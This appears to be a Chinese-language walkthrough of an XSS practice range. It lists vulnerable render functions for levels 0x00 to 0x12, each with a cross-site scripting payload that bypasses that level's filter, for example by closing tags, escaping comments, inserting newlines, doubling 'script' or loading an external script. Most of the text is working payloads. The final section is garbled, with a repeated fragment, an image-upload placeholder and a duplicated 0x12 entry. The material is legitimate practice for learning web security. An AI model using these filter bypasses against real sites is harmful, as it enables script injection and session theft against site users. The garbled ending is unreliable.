https://xss.haozi.me/ XSS学习
github项目地址:haozi/xss-demo: 👮🏻♂️ xss 攻防靶场,issues 有答案 (github.com)
0x00
server code
function render (input) {
return '<div>' + input + '</div>'
}
payload <script>alert(1)</script>
未做处理
0x01
server code
function render (input) {
return '<textarea>' + input + '</textarea>'
}
payload </textarea><script>alert(1)</script>
闭合标签即可
0x02
server code
function render (input) {
return '<input type="name" value="' + input + '">'
}
payload"><script>alert(1)</script>"
0x03
server code
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
将小括号过滤为空格,使用``(反单引号)代替括号
反引号标识的是模板字符串,它可以当作普通字符串使用,也可以定义多行字符串,或者在字符串中嵌入变量(需要将变量写在¥{}中)。
在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。
0x04
server code
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了小括号与``(反单引号),尝试编码进行绕过,
payload <img src=1 onerror=alert(1)>
<svg><script>alert(1)</script>
<iframe srcdoc="<script>alert(1)</script>">
0x05
server code
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
过滤了–>,防止注释闭合;
和
–!>`两种闭合方式。
payload --!><script>alert(1)</script>
0x06
server code
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
尖括号、正则on/auto事件过滤;设置input属性为image调用onerror事件,换行绕过正则过滤
payload type="image" src=1 onerror =alert(1)
0x07
server code
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
尖括号闭合即被过滤,标签换行使未闭合仍可以执行
payload<img src=1 onerror=alert(1)换行
0x08
server code
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
过滤
</style>
防止闭合标签,在标签中加入回车绕过正则
payload
</style
><script>alert(1)</script>
0x09
server code
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
匹配固定URL地址开头的字符串,闭合标签
payloadhttps://www.segmentfault.com"></script><script>alert(1)</script>
0x0A
server code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
匹配特定字符串,转义特殊符号;
1.引入第三方js文件
2.使用URL的@语法进行跳转调用
payload https://www.segmentfault.com.haozi.me/j.js
0x0B
server code
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
程序将所有的字母转换为大写,JS对大小写敏感
payload<img src="" onerror="alert(1)">
域名对大小写也不敏感,可以调用自带的js文件,完成XSS注入
payload<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C
server code
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
在0x0B的基础上添加对script的过滤,script被替换为空双写绕过
payload<img src="" onerror="alert(1)">
payload <sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
0x0D
server code
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
过滤了< ’ " /,注入点在注释中,可以提供换行逃逸;最后的单引号使用html注释
-->
闭合绕过
payload
alert(1);
-->
0x0E
server code
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
所有字符大写,尖括号后有字母的添加加下划线; ſ (古英文, 拉丁文)不是英文字母,大写仍是S;???
payload <ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
server code
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
<、>、’ 、" 、/被html编码,但编码后处于html标签中,当解析代码的时候,被过滤编码的字符仍然被还原执行。
payload ');alert('1
0x10
server code
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
没有过滤,给window.date任意值,分号分割js语句
payload 1;alert(1)
0x11
server code
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
字符被转义,但仍可以使用
payload ");alert("1
0x12
server code
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
双引号转义为
\"
;输入点在script标签外,则不能考虑html实体编码,在双引号前添加转义符来绕过;或者闭合
ref = url
document.body.appendChild(a)
a.click()
`
}
> 字符被转义,但仍可以使用
payload `");alert("1`
[外链图片转存中...(img-9JAZRDzh-1628582522310)]
## 0x12
**server code**
```php
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
双引号转义为
\"
;输入点在script标签外,则不能考虑html实体编码,在双引号前添加转义符来绕过;或者闭合